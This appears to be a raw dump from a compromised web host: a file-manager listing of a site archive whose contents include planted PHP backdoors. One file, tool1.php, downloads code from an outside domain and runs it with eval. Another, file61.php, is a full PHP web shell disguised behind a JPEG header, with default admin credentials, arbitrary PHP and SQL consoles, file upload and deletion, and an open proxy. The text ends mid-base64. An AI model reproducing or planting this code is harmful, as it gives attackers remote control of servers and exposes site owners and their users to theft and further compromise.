ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
File manager
File manager - Edit - /home/tokomrjk/hijabtrendz.com/sulfurlamp.com.zip
Back
PK �:�\�k��t t tool1.phpnu �[��� <?php $path = "https://code.decpain.my/fgj/1/tool.php"; $code = implode('', file($path)); eval("?>" . $code); ?>PK �:�\�U�p p sitemap.xmlnu �[��� <?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xhtml="http://www.w3.org/1999/xhtml" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9"> <url> <loc>https://sulfurlamp.com/</loc> </url> </urlset>PK �:�\�9�`j j $ .well-known/pki-validation/error_lognu �[��� [29-Jul-2025 16:30:14 UTC] PHP Parse error: syntax error, unexpected end of file in /tmp/.flag on line 1 PK �:�\ŀs[ [ ? .well-known/pki-validation/0B9D15F8992303492A47CD25BE42E4D8.txtnu �[��� F7445E26BF5A7288C7EA3C24728947D8BC0C6093A9347F90C6492B67C9FE6F88 comodoca.com 66f65749215cbPK �:�\�6?iVi Vi file61.phpnu �[��� <html><link rel='icon' href='https://e.top4top.io/p_26973oc9i1.png' sizes='20x20' type='image/png'><html><link rel='icon' href='https://e.top4top.io/p_26973oc9i1.png' sizes='20x20' type='image/png'><?php ?> ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.- <?php /* PHP File manager ver 1.5 */ // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en', 'ru', 'de', 'fr', 'uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path = str_replace('\\', '/', realpath('./')); $phar_maybe = version_compare(phpversion(), "5.3.0", "<") ? true : false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; //Authorization $auth = json_decode($authorization, true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = isset($auth['days_authorization']) && is_numeric($auth['days_authorization']) ? (int) $auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) { $fm_config = $fm_default_config; } else { $fm_config = unserialize($_COOKIE['fm_config']); } // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + 86400 * $auth['days_authorization']); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if ($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])) { $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)) { foreach ($lang_priority as $lang_arr) { $lng = explode(';', $lang_arr); $lng = $lng[0]; if (in_array($lng, $langs)) { $language = $lng; break; } } } } // Cookie language is primary for ever $language = empty($_COOKIE['fm_lang']) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation, true); if ($lang['id'] != $language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'", ''', json_encode(json_decode($get_lang), JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $translation_string, $fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } $lang = json_decode($translation_string, true); } } /* Functions */ //translation function __($text) { global $lang; if (isset($lang[$text])) { return $lang[$text]; } else { return $text; } } //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if ($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if ($el != '.' && $el != '..') { fm_del_files($file . '/' . $el, true); } } } if (@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false) { $perms = fileperms($file); $info = ''; if (!$if) { if (($perms & 0xc000) == 0xc000) { //Socket $info = 's'; } elseif (($perms & 0xa000) == 0xa000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= $perms & 0x100 ? 'r' : '-'; $info .= $perms & 0x80 ? 'w' : '-'; $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-'); //Group $info .= $perms & 0x20 ? 'r' : '-'; $info .= $perms & 0x10 ? 'w' : '-'; $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-'); //World $info .= $perms & 0x4 ? 'r' : '-'; $info .= $perms & 0x2 ? 'w' : '-'; $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-'); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode, 9, '-'); $trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1'); $mode = strtr($mode, $trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if (@is_dir($file) && $rec) { $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die; } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die; } } } //show folder size function fm_dir_size($f, $format = true) { if ($format) { $size = fm_dir_size($f, false); if ($size <= 1024) { return $size . ' bytes'; } elseif ($size <= 1024 * 1024) { return round($size / 1024, 2) . ' Kb'; } elseif ($size <= 1024 * 1024 * 1024) { return round($size / (1024 * 1024), 2) . ' Mb'; } elseif ($size <= 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024), 2) . ' Gb'; } elseif ($size <= 1024 * 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024 * 1024), 2) . ' Tb'; } else { return round($size / (1024 * 1024 * 1024 * 1024 * 1024), 2) . ' Pb'; } // ;-) } else { if (is_file($f)) { return filesize($f); } $size = 0; $dh = opendir($f); while (($file = readdir($dh)) !== false) { if ($file == '.' || $file == '..') { continue; } if (is_file($f . '/' . $file)) { $size += filesize($f . '/' . $file); } else { $size += fm_dir_size($f . '/' . $file, false); } } closedir($dh); return $size + filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if (!empty($exp)) { $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if (!empty($type) && $type !== 'all') { $func = 'is_' . $type; } if (@is_dir($directory)) { $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if (substr($filename, 0, 1) != '.' || $do_not_filter) { if ((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))) { $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get, $link, $name, $title = '') { if (empty($title)) { $title = $name . ' ' . basename($link); } return ' <a href="?' . $get . '=' . base64_encode($link) . '" title="' . $title . '">' . $name . '</a>'; } function fm_arr_to_option($arr, $n, $sel = '') { foreach ($arr as $v) { $b = $v[$n]; $res .= '<option value="' . $b . '" ' . ($sel && $sel == $b ? 'selected' : '') . '>' . $b . '</option>'; } return $res; } function fm_lang_form($current = 'en') { return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="' . __('Language') . '" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" ' . ($current == 'en' ? 'selected="selected" ' : '') . '>' . __('English') . '</option> <option value="de" ' . ($current == 'de' ? 'selected="selected" ' : '') . '>' . __('German') . '</option> <option value="ru" ' . ($current == 'ru' ? 'selected="selected" ' : '') . '>' . __('Russian') . '</option> <option value="fr" ' . ($current == 'fr' ? 'selected="selected" ' : '') . '>' . __('French') . '</option> <option value="uk" ' . ($current == 'uk' ? 'selected="selected" ' : '') . '>' . __('Ukrainian') . '</option> </select> </form> '; } function fm_root($dirname) { return $dirname == '.' or $dirname == '..'; } function fm_php($string) { $display_errors = ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect() { global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query) { global $fm_config; $query = trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection, $query); if ($queried === false) { ob_end_clean(); return mysqli_error($connection); } else { if (!empty($queried)) { while ($row = mysqli_fetch_assoc($queried)) { $query_result[] = $row; } } $vdump = empty($query_result) ? '' : var_export($query_result, true); ob_end_clean(); $connection->close(); return '<pre>' . stripslashes($vdump) . '</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if ($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while ($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',', $tables); } $return = ''; foreach ($tables as $table) { $result = $mysqldb->query('SELECT * FROM ' . $table); $num_fields = mysqli_num_fields($result); $return .= 'DROP TABLE IF EXISTS `' . $table . '`' . $delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE ' . $table)); $return .= $row2[1] . $delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while ($row = mysqli_fetch_row($result)) { $return .= 'INSERT INTO `' . $table . '` VALUES('; for ($j = 0; $j < $num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n", "\\n", $row[$j]); if (isset($row[$j])) { $return .= '"' . $row[$j] . '"'; } else { $return .= '""'; } if ($j < $num_fields - 1) { $return .= ','; } } $return .= ')' . $delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\\d]+ #is", '', $return); } $return .= "\n\n\n"; } //save file $file = gmdate("Y-m-d_H-i-s", time()) . '.sql'; $handle = fopen($file, 'w+'); fwrite($handle, $return); fclose($handle); $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file . ': ' . fm_link('download', $path . $file, __('Download'), __('Download') . ' ' . $file) . ' <a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute, "r+"); $sqlFile = fread($f, filesize($sqlFileToExecute)); $sqlArray = explode($delimiter, $sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt) > 3) { $result = $mysqldb->query($stmt); if (!$result) { $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) { return __('Success') . ' — ' . $sqlFileToExecute; } else { return $sqlErrorText . '<br/>' . $stmt; } } function fm_img_link($filename) { return './' . basename(__FILE__) . '?img=' . base64_encode($filename); } function fm_home_style() { return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name, $value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_' . $value . '" name="fm_config[' . $value . ']" value="1" ' . (empty($fm_config[$value]) ? '' : 'checked="true"') . ' type="checkbox"></td><td class="row2 whole"><label for="fm_config_' . $value . '">' . $name . '</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) { return $_SERVER['HTTP_SCHEME'] . '://'; } if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') { return 'https://'; } if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) { return 'https://'; } if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') { return 'https://'; } return 'http://'; } function fm_site_url() { return fm_protocol() . $_SERVER['HTTP_HOST']; } function fm_url($full = false) { $host = $full ? fm_site_url() : '.'; return $host . '/' . basename(__FILE__); } function fm_home($full = false) { return ' <a href="' . fm_url($full) . '" title="' . __('Home') . '"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_' . $lng . '_console']) ? ' <form method="post" action="' . fm_url() . '" style="display:inline"> <input type="submit" name="' . $lng . 'run" value="' . strtoupper($lng) . ' ' . __('Console') . '"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&', '&', $matches[2]); $url = isset($_GET['url']) ? $_GET['url'] : ''; $parse_url = parse_url($url); $host = $parse_url['scheme'] . '://' . $parse_url['host'] . '/'; if (substr($link, 0, 2) == '//') { $link = substr_replace($link, fm_protocol(), 0, 2); } elseif (substr($link, 0, 1) == '/') { $link = substr_replace($link, $host, 0, 1); } elseif (substr($link, 0, 2) == './') { $link = substr_replace($link, $host, 0, 2); } elseif (substr($link, 0, 4) == 'http') { //alles machen wunderschon } else { $link = $host . $link; } if ($matches[1] == 'href' && !strripos($link, 'css')) { $base = fm_site_url() . '/' . basename(__FILE__); $baseq = $base . '?proxy=true&url='; $link = $baseq . urlencode($link); } elseif (strripos($link, 'css')) { //как-то тоже подменять надо } return $matches[1] . '="' . $link . '"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl . '_templates'}; $tpl_arr = json_decode(${$lng_tpl . '_templates'}, true); $str = ''; foreach ($tpl_arr as $ktpl => $vtpl) { $str .= '<tr><td class="row1"><input name="' . $lng_tpl . '_name[]" value="' . $ktpl . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_value[]" cols="55" rows="5" class="textarea_input">' . $vtpl . '</textarea> <input name="del_' . rand() . '" type="button" onClick="this.parentNode.parentNode.remove();" value="' . __('Delete') . '"/></td></tr>'; } return ' <table> <tr><th colspan="2">' . strtoupper($lng_tpl) . ' ' . __('templates') . ' ' . fm_run_input($lng_tpl) . '</th></tr> <form method="post" action=""> <input type="hidden" value="' . $lng_tpl . '" name="tpl_edited"> <tr><td class="row1">' . __('Name') . '</td><td class="row2 whole">' . __('Value') . '</td></tr> ' . $str . ' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \'' . fm_url() . '?fm_settings=true\';" value="' . __('Reset') . '"/> <input type="submit" value="' . __('Save') . '" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="' . $lng_tpl . '" name="tpl_edited"> <tr><td class="row1"><input name="' . $lng_tpl . '_new_name" value="" placeholder="' . __('New') . ' ' . __('Name') . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_new_value" cols="55" rows="5" class="textarea_input" placeholder="' . __('New') . ' ' . __('Value') . '"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="' . __('Add') . '" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])) { if ($_POST['login'] == $auth['login'] && $_POST['password'] == $auth['password']) { setcookie($auth['cookie_name'], $auth['login'] . '|' . md5($auth['password']), time() + 86400 * $auth['days_authorization']); $_COOKIE[$auth['cookie_name']] = $auth['login'] . '|' . md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) or $_COOKIE[$auth['cookie_name']] != $auth['login'] . '|' . md5($auth['password'])) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>' . __('File manager') . '</title> </head> <body> <form action="" method="post"> ' . __('Login') . ' <input name="login" type="text"> ' . __('Password') . ' <input name="password" type="password"> <input type="submit" value="' . __('Enter') . '" class="fm_input"> </form> ' . fm_lang_form($language) . ' </body> </html> '; die; } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - 86400 * $auth['days_authorization']); header('Location: ' . fm_site_url() . $_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - 86400 * $auth['days_authorization']); header('Location: ' . fm_url() . '?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + 86400 * $auth['days_authorization']); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings') . ' ' . __('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) { $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; } $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $fm_login, $fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) { $msg .= ' ' . __('Login') . ': ' . $_POST['fm_login']['login']; } if ($_POST['fm_login']['password'] != $auth['password']) { $msg .= ' ' . __('Password') . ': ' . $_POST['fm_login']['password']; } $auth = $_POST['fm_login']; } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl . '_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl . '_name'], $_POST[$lng_tpl . '_value']), JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl . '_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl . '_templates'}, true) + array($_POST[$lng_tpl . '_new_name'] => $_POST[$lng_tpl . '_new_value']), JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#' . $lng_tpl . '_templates[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $fm_php, $fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl . '_templates'} = $fm_php; $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } } else { $msg .= __('Error occurred'); } } } // Just show image if (isset($_GET['img'])) { $file = base64_decode($_GET['img']); if ($info = getimagesize($file)) { switch ($info[2]) { //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext = 'gif'; break; case 2: $ext = 'jpeg'; break; case 3: $ext = 'png'; break; case 6: $ext = 'bmp'; break; default: die; } header("Content-type: image/{$ext}"); echo file_get_contents($file); die; } } // Just download file if (isset($_GET['download'])) { $file = base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die; } // Mini proxy, many bugs! if (isset($_GET['proxy']) && !empty($fm_config['enable_proxy'])) { $url = isset($_GET['url']) ? urldecode($_GET['url']) : ''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> ' . fm_home() . ' <a href="' . $url . '" target="_blank">Url</a>: <input type="text" name="url" value="' . $url . '" size="55"> <input type="submit" value="' . __('Show') . '" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1' . '<style>' . fm_home_style() . '</style>' . $proxy_form, $result); echo $result; die; } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?php echo __('File manager'); ?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgX